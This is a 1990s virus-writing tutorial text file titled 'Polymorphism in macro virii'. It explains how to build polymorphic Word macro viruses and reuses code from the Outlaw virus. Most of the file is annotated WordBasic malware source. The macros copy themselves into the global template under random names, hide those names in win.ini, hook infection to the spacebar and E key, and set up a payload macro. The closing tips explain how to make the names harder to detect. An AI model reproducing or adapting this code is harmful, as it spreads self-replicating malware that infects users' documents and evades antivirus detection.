home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / TUTUPDT8.ZIP / NEOWMTUT.ZIP / WMTUTPOL.TX1 < prev    next >
Text File  |  1997-01-19  |  15KB  |  410 lines

  1. POLYMORPHISM IN MACRO VIRII
  2.  
  3. You maybe already heared something about polymorphism in macro virii. The
  4. first macro virus that uses this technique was the Outlaw virus. The way
  5. it is polymorphic is that it changes it's macro names every infection and
  6. stores them (the macro names) in win.ini. If Word is restarted, it reads
  7. the names of the macro from win.ini. To use them in your macros you need 
  8. to read them and set them into strings like name1$, name2$, etc.
  9. The names that are generated are just a charachter  +  number, something
  10. like A326  or maybe RT898763.  The reason that  it uses characters  plus
  11. numbers is because Word can only use macros that begin with a character.
  12. After the character there can be numbers too. That's done because of the
  13. fact  that numbers are easy to generate in  Word.   Just use some random
  14. function to generate  a random number.   But if  Word generates a number
  15. there is always an open space before the number because that is used for
  16. making the number negative.  i.e. if the generated number  is "12345" it
  17. actually is " 12345".  There is a function that deletes that open space.
  18. Its Ltrim. You will see how it works in the example.
  19.  
  20. I hope you get it, and else don't worry but read the file again. And now
  21. , the moment you've all been waiting for :)  the code for making a poly-
  22. morfic macro virus.
  23.  
  24. This is an example of the code the Outlaw virus uses.
  25.  
  26. ---------The Macro for creating random names---------------
  27. Sub MAIN
  28. On Error Goto Done                      '<Error handler.>
  29.  
  30. A$ = FileName$()                        '<A$ = active filename.>
  31. If A$ = "" Then Goto Finish             '<If no file active goto finish.>
  32.  
  33. If CheckInstalled = 0 Then              '<Already installed?...>
  34.         Routine                         '<No then goto Sub Routine,
  35.         Crypt                           ' Sub Crypt, Sub PayLoadMakro,
  36.         PayloadMakro                    ' etc.>
  37.     FileSaveAll 1, 1
  38. Else                                    '<Yes (already installed).>
  39.         Goto Done                       '<Goto done.>
  40. End If
  41.  
  42. Done:                                   '<Done (already installed).>
  43. A$ = FileName$()                        '<A$ = active filename.>
  44. If A$ = "" Then                         '<If no file active goto finish.>
  45.     Goto Finish
  46. Else                                    '<If a file is active,
  47.         Insert " "                      ' insert a "space", for infecting
  48.                                         ' the active file.>               
  49. End If
  50.  
  51.  
  52. Finish:                                 '<Finish (no file active).>
  53. End Sub
  54.  
  55. Sub Crypt                               '<The Sub Crypt.>
  56. One = 7369                              '<Number one is 7369.>
  57. Two = 9291                              '<Number two is 9291.>
  58. Num = Int(Rnd() * (Two - One) + One)    '<generate random number.>
  59. A$ = Str$(Num)                          '<A$ is generated number.>
  60. A$ = LTrim$(A$)                         '<Delete the empty space before...
  61.                                         ' the number. The empty space is... 
  62.                                         ' for making the number negative,
  63.                                         ' e.g. -7369.>
  64.  
  65. Beginn = Hour(Now())                    '<Beginn is the active hour.>
  66. B$ = Str$(Beginn)                       '<B$ is the active hour (string).> 
  67. B$ = LTrim$(B$)                         '<Delete the empty space in B$.>
  68.  
  69. If B$ = "1" Then C$ = "A"               '<If B$ is 1 (1 o'clock)...
  70.                                         ' then C$ is A.>                
  71. If B$ = "2" Then C$ = "B"               '<If B$ is 2 (2 o'clock)...
  72.                                         ' then C$ is B.>        
  73. If B$ = "3" Then C$ = "C"               '<If B$ is 3 (3 o'clock)...
  74.                                         ' then C$ is C.>
  75. If B$ = "4" Then C$ = "D"               '<Etc.>
  76. If B$ = "5" Then C$ = "E"
  77. If B$ = "6" Then C$ = "F"
  78. If B$ = "7" Then C$ = "G"
  79. If B$ = "8" Then C$ = "H"
  80. If B$ = "9" Then C$ = "I"
  81. If B$ = "10" Then C$ = "J"
  82. If B$ = "11" Then C$ = "K"
  83. If B$ = "12" Then C$ = "L"
  84. If B$ = "13" Then C$ = "M"
  85. If B$ = "14" Then C$ = "N"
  86. If B$ = "15" Then C$ = "O"
  87. If B$ = "16" Then C$ = "P"
  88. If B$ = "17" Then C$ = "Q"
  89. If B$ = "18" Then C$ = "R"
  90. If B$ = "19" Then C$ = "S"
  91. If B$ = "20" Then C$ = "T"
  92. If B$ = "21" Then C$ = "U"
  93. If B$ = "22" Then C$ = "V"
  94. If B$ = "23" Then C$ = "W"
  95. If B$ = "00" Then C$ = "X"
  96.  
  97. E$ = C$ + A$                            '<E$ is C$ (character) plus...
  98.                                         ' A$ (the generated number).>
  99. ZU$ = GetDocumentVar$("VirNameDoc")     '<ZU$ is macro called VirNameDoc...
  100.                                         ' Watch out:VirNameDoc is not...
  101.                                         ' the real macro name, it's some...
  102.                                         ' sort of string.>
  103. PG$ = WindowName$() + ":" + ZU$         '<PG$ is active filename plus...
  104.                                         ' ":" and plus macro name (ZU$).>
  105. MacroCopy PG$, "Global:" + E$           '<Copies macro from document...
  106.                                         ' to global template, with...
  107.                                         'the name that was generated.>
  108. SetProfileString "Intl", "Name2", E$    '<Set the macro name in...
  109.                                         ' win.ini. as "Intl", "Name2", E$.>
  110. ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0
  111.                                         '<Creates short-cut with the...
  112.                                         ' ascii keycode 69 (E). If the...
  113.                                         ' E key is pushed the macro...
  114.                                         ' E$ will be executed (The above...
  115.                                         ' macro). With the .Add you tell...
  116.                                         ' Word that you want to add that...
  117.                                         ' function to the key not replace...
  118.                                         ' it.>
  119.                     
  120. End Sub                                 '<End the Sub Crypt>
  121.  
  122.  
  123.  
  124. Sub Routine                             '<Begin Sub Routine>
  125. One = 7369                              '<This is practically...
  126. Two = 9291                              ' the same as Sub Crypt.>
  127. Num = Int(Rnd() * (Two - One) + One)    '<I will only explain the...
  128. A$ = Str$(Num)                          ' things that aren't...
  129. A$ = LTrim$(A$)                         ' explained above.>
  130.  
  131. Beginn = Hour(Now())
  132. B$ = Str$(Beginn)
  133. B$ = LTrim$(B$)
  134.  
  135. If B$ = "1" Then C$ = "A"
  136. If B$ = "2" Then C$ = "B"
  137. If B$ = "3" Then C$ = "C"
  138. If B$ = "4" Then C$ = "D"
  139. If B$ = "5" Then C$ = "E"
  140. If B$ = "6" Then C$ = "F"
  141. If B$ = "7" Then C$ = "G"
  142. If B$ = "8" Then C$ = "H"
  143. If B$ = "9" Then C$ = "I"
  144. If B$ = "10" Then C$ = "J"
  145. If B$ = "11" Then C$ = "K"
  146. If B$ = "12" Then C$ = "L"
  147. If B$ = "13" Then C$ = "M"
  148. If B$ = "14" Then C$ = "N"
  149. If B$ = "15" Then C$ = "O"
  150. If B$ = "16" Then C$ = "P"
  151. If B$ = "17" Then C$ = "Q"
  152. If B$ = "18" Then C$ = "R"
  153. If B$ = "19" Then C$ = "S"
  154. If B$ = "20" Then C$ = "T"
  155. If B$ = "21" Then C$ = "U"
  156. If B$ = "22" Then C$ = "V"
  157. If B$ = "23" Then C$ = "W"
  158. If B$ = "00" Then C$ = "X"
  159.  
  160. D$ = C$ + A$                            '<The same as in Sub Crypt...
  161. UZ$ = GetDocumentVar$("VirName")        ' only with other names.>
  162. GP$ = WindowName$() + ":" + UZ$
  163. MacroCopy GP$, "Global:" + D$
  164. SetProfileString "Intl", "Name", D$
  165. ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0
  166.                                         '<This one creates a short-cut...
  167.                                         ' with the D$ macro (this macro)...
  168.                                         ' if the spacebar (keycode 32)...
  169.                                         ' is pushed.>
  170.  
  171. End Sub
  172.  
  173. Sub PayloadMakro                        '<Same again.>
  174. One = 7369
  175. Two = 9291
  176. Num = Int(Rnd() * (Two - One) + One)
  177. A$ = Str$(Num)
  178. A$ = LTrim$(A$)
  179.  
  180. Beginn = Hour(Now())
  181. B$ = Str$(Beginn)
  182. B$ = LTrim$(B$)
  183.  
  184. If B$ = "1" Then C$ = "A"
  185. If B$ = "2" Then C$ = "B"
  186. If B$ = "3" Then C$ = "C"
  187. If B$ = "4" Then C$ = "D"
  188. If B$ = "5" Then C$ = "E"
  189. If B$ = "6" Then C$ = "F"
  190. If B$ = "7" Then C$ = "G"
  191. If B$ = "8" Then C$ = "H"
  192. If B$ = "9" Then C$ = "I"
  193. If B$ = "10" Then C$ = "J"
  194. If B$ = "11" Then C$ = "K"
  195. If B$ = "12" Then C$ = "L"
  196. If B$ = "13" Then C$ = "M"
  197. If B$ = "14" Then C$ = "N"
  198. If B$ = "15" Then C$ = "O"
  199. If B$ = "16" Then C$ = "P"
  200. If B$ = "17" Then C$ = "Q"
  201. If B$ = "18" Then C$ = "R"
  202. If B$ = "19" Then C$ = "S"
  203. If B$ = "20" Then C$ = "T"
  204. If B$ = "21" Then C$ = "U"
  205. If B$ = "22" Then C$ = "V"
  206. If B$ = "23" Then C$ = "W"
  207. If B$ = "00" Then C$ = "X"
  208.  
  209. K$ = C$ + A$                            '<Again another name.>
  210. ZUZ$ = GetDocumentVar$("VirNamePayload")        
  211. GP$ = WindowName$() + ":" + ZUZ$
  212. MacroCopy GP$, "Global:" + K$
  213. SetProfileString "Intl", "Name3", K$    '<Only this time no...
  214.                                         ' short-cut because this...
  215.                                         ' is the payloadmacro and...
  216.                                         ' this payload macro is only...
  217.                                         ' executed on a special date...
  218.                                         ' that is programmed in...
  219.                                         ' another macro. For the...
  220.                                         ' whole Outlaw virus, see...
  221.                                         ' the virii section.>
  222. End Sub
  223.  
  224. Function CheckInstalled                 '<A function to check if...
  225.                                         ' the virus already installed...
  226.                                         ' the global template (Normal.Dot).>
  227. CC$ = GetProfileString$("Intl", "Name") '<CC$ is the name of the Routine...
  228.                                         ' macro (Sub Routine).>
  229.     CheckInstalled = 0                  '<Set the var checkinstalled to 0.>
  230.     If CountMacros(0) > 0 Then          '<If the number of macros in...
  231.                                         ' Normal.Dot is greater then 0,
  232.         For i = 1 To CountMacros(0)     ' then create a for...next loop...
  233.                                         ' that loops the number of macros.>
  234.             If MacroName$(i, 0) = CC$ Then    '<If the macro name in...
  235.                 CheckInstalled = 1      ' Normal.dot is CC$ (routine...
  236.                                         ' macro) then set var...
  237.                                         ' CheckInstalled to 1.>
  238.             End If                      '<Ends the If instruction.>
  239.         Next i                          '<All macros done? then...
  240.                                         ' continue. Else go back to...
  241.                                         ' for...next loop.>
  242.     End If                              '<Ends the If instruction.>
  243. End Function                            '<The end of the function.>
  244. ----------------------------------------------------------------
  245. You see  this isn't as  complicated as you may  have thought.   The only
  246. complicated thing is the saving of the macro names in the win.ini. About
  247. that, if you want to use the generated macro names in another macro, you
  248. must read the macro names from win.ini. This is done by typing:
  249. UZ$ = GetProfileString$("Intl", "Name")
  250. It's best to set this at the top of the macro. But if the virus contains
  251. more then  two macros  (Outlaw does)  you must set another  line in your
  252. macro. Just below the UZ$ = getprof...  you type:
  253. ZU$ = GetProfileString$("Intl", "Name2")
  254. ZUZ$ = GetProfileString$("Intl", "Name3")
  255. Only,  be awrare if you didn't use Intl and Name1, Name2, etc.  you must
  256. change the names. But now UZ$, ZU$ and ZUZ$ contains the macro names. So
  257. you could use something like:
  258. infDoc$ = FileName()
  259. Macrocopy "Global:" + UZ$, InfDoc$ + ":" + generated name
  260.  
  261.  
  262. This is just simple polymorfism.   What you can do to improve your poly-
  263. morfism is:
  264. - Making more generatable names
  265. - Make sure that a name doesn't come twice
  266. - Do not use the time to generate the first character
  267.  
  268. Making more generatable names is quite easy, because you could just make
  269. the number higher. For example:
  270. Instead of using this:
  271.  
  272. One = 7369
  273. Two = 9291
  274. Num = Int(Rnd() * (Two - One) + One)
  275. A$ = Str$(Num)
  276. A$ = LTrim$(A$)
  277.  
  278. You could use this:
  279.  
  280. One = 1000000
  281. Two = 9999999
  282. Num = Int(Rnd() * (Two - One) + One)
  283. A$ = Str$(Num)
  284. A$ = LTrim$(A$)
  285.  
  286. Real simple, isn't it?
  287.  
  288. Now the second thing.   How to make  sure that  a generated name doesn't
  289. comes twice. You could use:
  290.  
  291. One = 1000
  292. Two = 2000
  293. Num = Int(Rnd() * (Two - One) + One)
  294. A$ = Str$(Num)
  295. A$ = LTrim$(A$)
  296.  
  297. And for the next macro:
  298.  
  299. One = 2001
  300. Two = 3000
  301. Num = Int(Rnd() * (Two - One) + One)
  302. A$ = Str$(Num)
  303. A$ = LTrim$(A$)
  304.  
  305. And so on...
  306.  
  307. See? But instead of using the numbers you could also use the characters:
  308. You could use:
  309.  
  310. Beginn = Hour(Now())
  311. B$ = Str$(Beginn)
  312. B$ = LTrim$(B$)
  313.  
  314. If B$ = "1" Then C$ = "AA"
  315. If B$ = "2" Then C$ = "BB"
  316. If B$ = "3" Then C$ = "CC"
  317. If B$ = "4" Then C$ = "DD"
  318. If B$ = "5" Then C$ = "EE"
  319. If B$ = "6" Then C$ = "FF"
  320. If B$ = "7" Then C$ = "GG"
  321. If B$ = "8" Then C$ = "HH"
  322. If B$ = "9" Then C$ = "II"
  323. If B$ = "10" Then C$ = "JJ"
  324. If B$ = "11" Then C$ = "KK"
  325. If B$ = "12" Then C$ = "LL"
  326. If B$ = "13" Then C$ = "MM"
  327. If B$ = "14" Then C$ = "NN"
  328. If B$ = "15" Then C$ = "OO"
  329. If B$ = "16" Then C$ = "PP"
  330. If B$ = "17" Then C$ = "QQ"
  331. If B$ = "18" Then C$ = "RR"
  332. If B$ = "19" Then C$ = "SS"
  333. If B$ = "20" Then C$ = "TT"
  334. If B$ = "21" Then C$ = "UU"
  335. If B$ = "22" Then C$ = "VV"
  336. If B$ = "23" Then C$ = "WW"
  337. If B$ = "00" Then C$ = "XX"
  338.  
  339.  
  340. And the next time:
  341.  
  342.  
  343. Beginn = Hour(Now())
  344. B$ = Str$(Beginn)
  345. B$ = LTrim$(B$)
  346.  
  347. If B$ = "1" Then C$ = "AB"
  348. If B$ = "2" Then C$ = "BC"
  349. If B$ = "3" Then C$ = "CD"
  350. If B$ = "4" Then C$ = "DE"
  351. If B$ = "5" Then C$ = "EF"
  352. If B$ = "6" Then C$ = "FG"
  353. If B$ = "7" Then C$ = "GH"
  354. If B$ = "8" Then C$ = "HI"
  355. If B$ = "9" Then C$ = "IJ"
  356. If B$ = "10" Then C$ = "JK"
  357. If B$ = "11" Then C$ = "KL"
  358. If B$ = "12" Then C$ = "LM"
  359. If B$ = "13" Then C$ = "MN"
  360. If B$ = "14" Then C$ = "NO"
  361. If B$ = "15" Then C$ = "OP"
  362. If B$ = "16" Then C$ = "PQ"
  363. If B$ = "17" Then C$ = "QR"
  364. If B$ = "18" Then C$ = "RS"
  365. If B$ = "19" Then C$ = "ST"
  366. If B$ = "20" Then C$ = "TU"
  367. If B$ = "21" Then C$ = "UV"
  368. If B$ = "22" Then C$ = "VW"
  369. If B$ = "23" Then C$ = "WX"
  370. If B$ = "00" Then C$ = "XY"
  371.  
  372.  
  373. So easy i'm falling asleap, tell me something i cannot think by myself!
  374.  
  375. Ok,  i'll try...and now how not to use the time for generating the first
  376. character.
  377. Instead of using:
  378.  
  379. One = 7369
  380. Two = 9291
  381. Num = Int(Rnd() * (Two - One) + One)
  382. A$ = Str$(Num)
  383. A$ = LTrim$(A$)
  384.  
  385. Beginn = Hour(Now())
  386. B$ = Str$(Beginn)
  387. B$ = LTrim$(B$)
  388.  
  389.  
  390. use this:
  391.  
  392.  
  393. One = 7369
  394. Two = 9291
  395. Num = Int(Rnd() * (Two - One) + One)
  396. A$ = Str$(Num)
  397. A$ = LTrim$(A$)
  398.  
  399. One = 0
  400. Two = 23
  401. Num = Int(Rnd() * (Two - One) + One)
  402. B$ = Str$(Num)
  403. B$ = LTrim$(B$)
  404.  
  405.  
  406. I said:"TELL ME SOMETHING I CANNOT THINK BY MYSELF!!!"...
  407.  
  408.  
  409.                         --- Neophyte ---
  410.